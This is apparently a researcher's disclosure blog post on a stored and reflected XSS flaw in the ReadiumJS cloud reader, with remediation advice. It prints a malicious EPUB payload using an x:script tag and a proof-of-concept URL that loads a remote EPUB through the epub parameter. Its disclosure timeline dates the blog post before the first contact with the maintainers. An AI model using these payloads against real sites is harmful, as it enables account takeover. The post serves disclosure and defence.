ReadiumJS Cloud Reader — Everybody Gets an XSS!

Stumbling upon an XSS paradise.

Introduction

Late last year, I participated in a bug bounty programme organized by Singapore's where I received the (yay!).

Finding these bugs required a deep dive into the targets and their underlying technologies. This meant that, among other things, I learnt about the existence of the and the world of EPUB cloud readers.

This led me to discover a (surprisingly, somewhat known) XSS vulnerability in the cloud reader that affects many university websites and online libraries.

I have attempted to get in touch with the maintainers to remediate the issue, but have not yet received any response. Going by the conventional 90-day disclosure timeline, I am now sharing details on this vulnerability.

What is an EPUB? What is a Readium?

<?xml version="1.0" encoding="UTF-8"?>
<html xmlns="http://www.w3.org/1999/xhtml" xmlns:epub="http://www.idpf.org/2007/ops">
    <head>
        <meta charset="utf-8" />
        <meta name="viewport" content="width=1200, height=1577" />
        <title>La Page Blanche</title>
        <link href="../Style/style.css" type="text/css" rel="stylesheet" />
    </head>
    <body>
        <div class="page" epub:type="frontmatter titlepage"><img
                src="../Image/PageBlanche_Page_001.jpg" alt="page 1" /></div>
    </body>
</html>

Popping Alerts

First of all, we could see that the iframe does not have the sandbox attribute present. This means that any scripts firing within the iframe would execute on the same origin as its src.

// prefer BlobBuilder as some browser supports Blob constructor but fails using it
if (window.BlobBuilder) {
    var builder = new BlobBuilder();
    builder.append(contentDocumentData);
    blob = builder.getBlob(contentType);
} else {
    blob = new Blob([contentDocumentData], {'type': contentType});
}
documentDataUri = window.URL.createObjectURL(blob);

...

if (isBlobHandled) {
    iframe.setAttribute("src", documentDataUri);

Unfortunately, this means that the iframe's origin will always be that of the parent page.

Stored XSS

Suppose we are able to upload an ebook to an online library using Readium. We might upload a malicious EPUB that runs some evil JavaScript. Any user that opens our ebook would then have their account compromised.

Note that we are using x:script to make the payload work with XHTML parsers.

<!DOCTYPE html>

<html>
    <body>
        Hello world!
    </body>
    <x:script xmlns:x="http://www.w3.org/1999/xhtml">alert(document.domain)</x:script>
</html>

Reflected XSS

The above scenario requires us to have privileges on the target site to upload arbitrary EPUBs and serve them to other users. It turns out, however, that the cloud reader is able to load remote EPUBs as well.

ebookURL = new URI(ebookURL).absoluteTo(thisRootUrl).toString();

However, when ebookURL is an absolute URL, absoluteTo retains the original base URL.

This means that by simply passing our hosted exploit URL to the epub query parameter, we have a reflected XSS! This does not require us to have any permissions on the target site.

Using the example PoC on the Readium demo should pop an alert:

https://readium.firebaseapp.com/?epub=https://zeyu2001.github.io/readium-xss/

Who Uses Readium?

The Readium cloud reader is a rather old project. While more recent and popular cloud readers have been developed, some sites still use the Readium cloud reader, including the IDPF's own website and several university sites.

I have made best effort attempts at identifying these sites (e.g. through Google dorking) and reaching out to the responsible teams to remediate this vulnerability before the release of this post.

Known Issue?

One should note that if a cloud reader aims to support JavaScript, all publications will at least share the same database, which means it is possible for an author to access data that originated in a different publication.

However, it leaves only the following suggestions to mitigate the vulnerability.

Currently, the only options to protect against attacks (see "Security Concerns" section) are:
iframe sandboxing;
the Content Security Policy;
the Feature Policy.

Remediation

Since this is quite an old project, the best remediation might be to move to a more modern cloud reader. If Readium needs to be used, the iframes on the page should have the sandbox attribute set.

Additionally, the page's Content Security Policy can be used to restrict where scripts can be loaded from.

Disclosure Timeline

16 December 2022: Contacted maintainers through GitHub issue
27 January 2022: This blog post is released
12 April 2023: CVE-2023-24720 assigned

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